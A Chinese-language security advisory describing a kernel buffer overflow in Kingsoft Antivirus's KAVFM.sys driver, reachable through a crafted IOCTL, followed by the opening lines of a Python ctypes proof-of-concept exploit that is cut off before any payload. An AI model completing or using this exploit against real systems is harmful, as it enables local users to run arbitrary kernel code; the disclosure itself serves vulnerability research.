金山毒霸KAVFM.sys驱动IOCTL处理内核缓冲区溢出漏洞及修好

影响版本:
Kingsoft Antivirus 2010.04.26.648

漏洞描述:

金山毒霸是一种个人电脑安全防护软件，集合了查毒、杀毒、实时监控、垃圾邮件过滤、防网页挂马和隐私数据保护等实用性强的功能于一身。

本地用户可以通过向金山毒霸所安装的KAVFM.sys驱动提交恶意IOCTL请求触发缓冲区溢出，导致执行任意内核态代码。

<*参考
Lufeng Li （lilf@neusoft.com）

http://secunia.com/advisories/41393/
*>
验证:

#!/usr/bin/python
 
#################################################################
#
# Title: Kingsoft Antivirus Kernel Buffer Overflow Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: www.duba.net
# Platform: Windows XPSP3 Chinese Simplified
# Tested: Kingsoft Antivirus v2010.04.26.648
# Vulnerable: Kingsoft Antivirus <=v2010.04.26.648
# Vulnerable App: http://down10b.zol.com.cn/shadu/KAV100625_DOWN_10_166.zip?key=314e0cb9ea82720d90caae96bb918009
#################################################################
# Code :
from ctypes import *
 
kernel32 = windll.kernel32
Psapi    = windll.Psapi
 
if __name__ == __main__:
    GENERIC_READ  = 0x80000000
    GENERIC_WRITE = 0x40000000
    OPEN_EXISTING = 0x3
    CREATE_ALWAYS = 0x2
 
    DEVICE_NAME   = "\\.\kavfm"
    dwReturn      = c_ulong()
    out_size      = 1024
    in_size       = 1024
    in_data       =
    driver_handle1 = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ